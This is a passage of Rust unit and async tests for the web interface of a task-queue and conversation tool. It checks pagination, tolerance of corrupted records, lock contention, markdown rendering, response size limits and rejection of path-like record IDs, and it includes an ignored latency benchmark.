26271        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26272        task.status = crate::queue::TaskStatus::Held;
26273        ui.queue.put(&mut task).unwrap();
26274        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26275        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26276        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26277        ui.queue.put(&mut task).unwrap();
26278        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26279        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26280        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26281    }
26282
26283    #[tokio::test]
26284    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26285        let home = tempfile::tempdir().unwrap();
26286        let ui = delta_test_ui(home.path());
26287        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26288        let before = health(State(ui.clone())).await.unwrap().0;
26289        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26290        let after = health(State(ui)).await.unwrap().0;
26291        assert_ne!(before.notifications_rev, after.notifications_rev);
26292        assert_eq!(after.notifications_unread, 1);
26293    }
26294
26295    #[tokio::test]
26296    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26297        let home = tempfile::tempdir().unwrap();
26298        let ui = delta_test_ui(home.path());
26299        let queue = &ui.queue;
26300        let talks = &ui.talks;
26301        for i in 0..1000 {
26302            let id = format!("20261019-{i:06}-page");
26303            let mut task = Task::new(
26304                "task".into(),
26305                "instruction".repeat(100),
26306                PathBuf::from("/repo/magi"),
26307                Source::Human,
26308            );
26309            task.id = id.clone();
26310            if i == 0 {
26311                task.status = crate::queue::TaskStatus::Held;
26312            } else if i == 999 {
26313                task.status = crate::queue::TaskStatus::Blocked;
26314                task.blocked_by = vec!["20261019-000000-page".into()];
26315            }
26316            queue.put(&mut task).unwrap();
26317            seed_talk_at(talks, &id, "closed");
26318        }
26319        let page = serde_json::to_value(
26320            queue_page(State(ui.clone()), Query(PageQuery::default()))
26321                .await
26322                .unwrap()
26323                .0,
26324        )
26325        .unwrap();
26326        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26327        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26328        assert!(
26329            !page["rows"][0]["stuck_roots"]
26330                .as_array()
26331                .unwrap()
26332                .is_empty()
26333        );
26334        let cursor = page["next"].as_str().unwrap();
26335        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26336            .as_str()
26337            .unwrap();
26338        // Deleting an already enumerated file cannot shift or repeat a page.
26339        std::fs::remove_file(queue.path_of(last_id)).unwrap();
26340        let next = serde_json::to_value(
26341            queue_page(
26342                State(ui.clone()),
26343                Query(PageQuery {
26344                    before: Some(cursor.into()),
26345                }),
26346            )
26347            .await
26348            .unwrap()
26349            .0,
26350        )
26351        .unwrap();
26352        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26353        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26354        let chats = serde_json::to_value(
26355            talks_page(
26356                State(ui.clone()),
26357                Query(PageQuery::default()),
26358                header::HeaderMap::new(),
26359            )
26360            .await
26361            .unwrap()
26362            .0,
26363        )
26364        .unwrap();
26365        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26366        assert!(chats["rows"][0].get("pending").is_none());
26367        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26368        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26369        assert_eq!(counts["held"], 1);
26370        assert_eq!(counts["blocked"], 1);
26371        assert_eq!(counts["queued"], 997);
26372    }
26373
26374    #[test]
26375    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26376        let dir = tempfile::tempdir().unwrap();
26377        let ui = delta_test_ui(dir.path());
26378        let mut task = Task::new(
26379            "task".into(),
26380            "body".into(),
26381            PathBuf::from("/repo"),
26382            Source::Human,
26383        );
26384        task.runs = vec!["run-a".into()];
26385        ui.queue.put(&mut task).unwrap();
26386        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26387        task.runs = vec!["run-b".into()];
26388        let path = ui.queue.path_of(&task.id);
26389        let modified = path.metadata().unwrap().modified().unwrap();
26390        let replacement = path.with_extension("replacement");
26391        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26392        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26393        std::fs::write(&replacement, &bytes).unwrap();
26394        std::fs::File::options()
26395            .write(true)
26396            .open(&replacement)
26397            .unwrap()
26398            .set_times(std::fs::FileTimes::new().set_modified(modified))
26399            .unwrap();
26400        std::fs::rename(&replacement, &path).unwrap();
26401        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26402        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26403        std::fs::write(&path, "broken").unwrap();
26404        assert!(ui.find_task_for_run("run-b").is_err());
26405        std::fs::write(&path, bytes).unwrap();
26406        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26407        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26408        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26409    }
26410
26411    #[tokio::test]
26412    async fn conversation_core_is_independent_of_unreadable_related_history() {
26413        let home = tempfile::tempdir().unwrap();
26414        let ui = delta_test_ui(home.path());
26415        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26416        std::fs::create_dir_all(ui.queue.root()).unwrap();
26417        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26418        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26419            .await
26420            .unwrap();
26421        assert_eq!(core.talk.id, id);
26422        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26423    }
26424
26425    #[test]
26426    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26427        let home = tempfile::tempdir().unwrap();
26428        let ui = delta_test_ui(home.path());
26429        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26430        let directory = home.path().join("workers/jobs/abcdef");
26431        std::fs::create_dir_all(&directory).unwrap();
26432        let job = crate::worker::Job {
26433            id: "abcdef".into(),
26434            sequence: 1,
26435            kind: "chat".into(),
26436            key: id.clone(),
26437            payload: serde_json::json!({ "talk": id }),
26438            generation: "test".into(),
26439            version: None,
26440            status: crate::worker::Status::Running,
26441            result: None,
26442            pid: None,
26443            created_at: 0,
26444            finished_at: None,
26445        };
26446        std::fs::write(
26447            directory.join("job.json"),
26448            serde_json::to_vec(&job).unwrap(),
26449        )
26450        .unwrap();
26451        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26452        let store =
26453            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26454        let runtime = tokio::runtime::Builder::new_current_thread()
26455            .enable_all()
26456            .max_blocking_threads(1)
26457            .build()
26458            .unwrap();
26459        runtime.block_on(async {
26460            let (release, held) = std::sync::mpsc::channel();
26461            let (started, ready) = tokio::sync::oneshot::channel();
26462            let occupied = tokio::task::spawn_blocking(move || {
26463                started.send(()).unwrap();
26464                held.recv().unwrap();
26465            });
26466            ready.await.unwrap();
26467            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26468            let bulk = ui
26469                .monitor
26470                .bulk_slots
26471                .clone()
26472                .acquire_many_owned(2)
26473                .await
26474                .unwrap();
26475            let result = tokio::time::timeout(
26476                Duration::from_secs(2),
26477                talk_core(State(ui.clone()), Path(id.clone())),
26478            )
26479            .await;
26480            // Release all blockers before assertions, including on a regression.
26481            drop(store);
26482            drop(bulk);
26483            release.send(()).unwrap();
26484            occupied.await.unwrap();
26485            let _ = secondary.await.unwrap().unwrap();
26486            let Json(core) = result
26487                .expect("transcript must bypass secondary work and the worker store lock")
26488                .unwrap();
26489            assert!(
26490                core.thinking,
26491                "read-only observation retains live worker state"
26492            );
26493            assert_eq!(core.talk.id, id);
26494            let admission_ui = ui.clone();
26495            let (release, held) = std::sync::mpsc::channel();
26496            let (started, ready) = tokio::sync::oneshot::channel();
26497            let admission = std::thread::spawn(move || {
26498                let _lock = admission_ui.talk_turns.lock().unwrap();
26499                started.send(()).unwrap();
26500                held.recv().unwrap();
26501            });
26502            ready.await.unwrap();
26503            let result = tokio::time::timeout(
26504                Duration::from_secs(2),
26505                talk_core(State(ui.clone()), Path(id.clone())),
26506            )
26507            .await;
26508            release.send(()).unwrap();
26509            admission.join().unwrap();
26510            assert!(
26511                result
26512                    .expect("display must not wait behind local admission")
26513                    .unwrap()
26514                    .0
26515                    .thinking
26516            );
26517            assert!(ui.is_thinking(&id));
26518            assert!(ui.is_thinking_observed(&id));
26519            drop(live);
26520            assert!(
26521                !ui.is_thinking_observed(&id),
26522                "a finished lease no longer appears live"
26523            );
26524            assert!(!ui.is_thinking(&id));
26525            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26526            assert!(
26527                ui.is_thinking_observed(&id),
26528                "local admission remains visible"
26529            );
26530        });
26531    }
26532
26533    #[tokio::test]
26534    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26535        let home = tempfile::tempdir().unwrap();
26536        let ui = delta_test_ui(home.path());
26537        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26538        let mut task = Task::new(
26539            "Referenced task".into(),
26540            "Unrelated instruction history".repeat(1024),
26541            home.path().into(),
26542            Source::Human,
26543        );
26544        task.id = "20261019-000000-abcd".into();
26545        ui.queue.put(&mut task).unwrap();
26546        let mut conversation = ui.talks.get(&id).unwrap();
26547        conversation.turns.push(talk::Turn {
26548            sender: Some(talk::Sender::Persona),
26549            who: talk::Who::Agent,
26550            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26551            at: conversation.created_at,
26552            attachments: Vec::new(),
26553            usage: None,
26554            breaks: None,
26555            messages: Vec::new(),
26556            posted_by: None,
26557        });
26558        ui.talks.put(&mut conversation).unwrap();
26559
26560        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26561        let markdown = serde_json::to_value(&core.turn_bodies_md)
26562            .unwrap()
26563            .to_string();
26564        assert!(markdown.contains("\"strong\""));
26565        assert!(markdown.contains("\"table\""));
26566        assert!(markdown.contains("\"bullet_list\""));
26567        assert!(markdown.contains("\"code_block\""));
26568        assert!(!markdown.contains("\"internal_link\""));
26569        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26570        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26571        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26572
26573        // Deferred decoration still resolves the same validated task, without
26574        // touching opaque code blocks or changing the original transcript.
26575        let references = ui.references.for_talk(home.path(), &conversation);
26576        let mut decorated = core.turn_bodies_md[0].clone();
26577        references.markdown(&mut decorated);
26578        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26579        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26580        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26581        assert_eq!(
26582            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26583            conversation.turns[0].body
26584        );
26585    }
26586
26587    #[tokio::test]
26588    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26589        let home = tempfile::tempdir().unwrap();
26590        let ui = delta_test_ui(home.path());
26591        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26592        let mut run = RunState::new(
26593            PathBuf::from("/repo"),
26594            "main".into(),
26595            "01234567".into(),
26596            "Useful run".into(),
26597            Config::default(),
26598        );
26599        run.save_under(home.path()).unwrap();
26600        let mut task = Task::new(
26601            "Related".into(),
26602            "body".into(),
26603            PathBuf::from("/repo"),
26604            Source::Agent {
26605                run: talk_id.clone(),
26606                node: "chat".into(),
26607            },
26608        );
26609        task.runs = vec![run.id.clone()];
26610        ui.queue.put(&mut task).unwrap();
26611        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26612        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26613        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26614        assert!(
26615            run_detail(State(ui.clone()), Path(run.id.clone()))
26616                .await
26617                .is_ok()
26618        );
26619        assert!(
26620            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26621                .await
26622                .is_ok()
26623        );
26624        // Previously indexed corruption must not masquerade as no relationship.
26625        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26626        assert!(ui.find_task_for_run(&run.id).is_err());
26627        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26628        ui.queue.put(&mut task).unwrap();
26629        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26630    }
26631
26632    #[tokio::test]
26633    async fn conversation_sections_omit_large_task_instructions() {
26634        let home = tempfile::tempdir().unwrap();
26635        let ui = delta_test_ui(home.path());
26636        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26637        let mut task = Task::new(
26638            "filed task".into(),
26639            "large instruction ".repeat(65536),
26640            PathBuf::from("/repo"),
26641            Source::Agent {
26642                run: id.clone(),
26643                node: "chat".into(),
26644            },
26645        );
26646        ui.queue.put(&mut task).unwrap();
26647        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26648        assert_eq!(sections["tasks"][0]["id"], task.id);
26649        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26650        assert!(sections["tasks"][0].get("instruction").is_none());
26651        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26652    }
26653
26654    #[test]
26655    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26656        let home = tempfile::tempdir().unwrap();
26657        let talks = Talks::at(home.path().join("talks"));
26658        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26659        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26660        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26661        assert!(resolve_talk(&talks, "../outside").is_err());
26662        assert!(resolve_talk(&talks, "abcd").is_err());
26663        assert_eq!(
26664            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26665            "20261019-000001-abcd"
26666        );
26667    }
26668
26669    include!(concat!(
26670        env!("CARGO_MANIFEST_DIR"),
26671        "/tests/web_latency/baseline.rs"
26672    ));
26673
26674    include!(concat!(
26675        env!("CARGO_MANIFEST_DIR"),
26676        "/tests/web_latency/lists.rs"
26677    ));
26678
26679    #[tokio::test]
26680    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26681    async fn web_history_latency_measurement() {
26682        use std::time::Instant;
26683        let home = tempfile::tempdir().unwrap();
26684        let ui = delta_test_ui(home.path());
26685        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26686        let mut template = ui.talks.get(&id).unwrap();
26687        template.turns = serde_json::from_value(serde_json::json!([{
26688            "who": "operator", "body": "Show the accumulated work and its current status.",
26689            "at": Timestamp::now().to_string(),
26690        }]))
26691        .unwrap();
26692        std::fs::write(
26693            ui.talks.path_of(&id),
26694            serde_json::to_vec(&template).unwrap(),
26695        )
26696        .unwrap();
26697        let count = std::env::var("MAGI_BENCH_RECORDS")
26698            .ok()
26699            .and_then(|s| s.parse::<usize>().ok())
26700            .unwrap_or(1000);
26701        for i in 0..count {
26702            template.id = format!("20261019-{i:06}-history");
26703            template.pending = "history ".repeat(2048);
26704            std::fs::write(
26705                ui.talks.path_of(&template.id),
26706                serde_json::to_vec(&template).unwrap(),
26707            )
26708            .unwrap();
26709            let mut task = Task::new(
26710                "old task".into(),
26711                "instruction ".repeat(2048),
26712                PathBuf::from("/repo"),
26713                Source::Human,
26714            );
26715            task.id = format!("20261019-{i:06}-task");
26716            ui.queue.put(&mut task).unwrap();
26717        }
26718        for baseline in [true, false] {
26719            for clients in [1, 4] {
26720                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26721                let mut samples = Vec::new();
26722                for _ in 0..12 {
26723                    let mut jobs = Vec::new();
26724                    for _ in 0..clients {
26725                        let ui = ui.clone();
26726                        let id = id.clone();
26727                        jobs.push(tokio::spawn(async move {
26728                            let start = Instant::now();
26729                            if baseline {
26730                                let response =
26731                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26732                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26733                                return (
26734                                    elapsed,
26735                                    elapsed,
26736                                    serde_json::to_vec(&response).unwrap().len(),
26737                                );
26738                            }
26739                            let core = talk_core(State(ui.clone()), Path(id.clone()));
26740                            let secondary = talk_sections(State(ui), Path(id));
26741                            let (first, total) = tokio::join!(
26742                                async {
26743                                    let value = core.await.unwrap().0;
26744                                    (
26745                                        start.elapsed().as_secs_f64() * 1000.0,
26746                                        serde_json::to_vec(&value).unwrap().len(),
26747                                    )
26748                                },
26749                                async {
26750                                    let value = secondary.await.unwrap().0;
26751                                    (
26752                                        start.elapsed().as_secs_f64() * 1000.0,
26753                                        serde_json::to_vec(&value).unwrap().len(),
26754                                    )
26755                                }
26756                            );
26757                            (first.0, first.0.max(total.0), first.1 + total.1)
26758                        }));
26759                    }
26760                    for job in jobs {
26761                        samples.push(job.await.unwrap());
26762                    }
26763                }
26764                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26765                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26766                first.sort_by(f64::total_cmp);
26767                total.sort_by(f64::total_cmp);
26768                let n = first.len();
26769                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26770                println!(
26771                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26772                    first[n / 2],
26773                    first[(n * 95 / 100).min(n - 1)],
26774                    total[n / 2],
26775                    total[(n * 95 / 100).min(n - 1)],
26776                    samples[0].2
26777                );
26778            }
26779        }
26780    }
26781
26782    #[test]
26783    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26784        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
26785        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26786        assert!(APP_JS.contains("function nextRunRequest(id)"));
26787        assert!(APP_JS.contains("function runShell(id, summary)"));
26788        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26789        assert!(APP_JS.contains("function taskShell(id, summary)"));
26790        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26791    }
26792}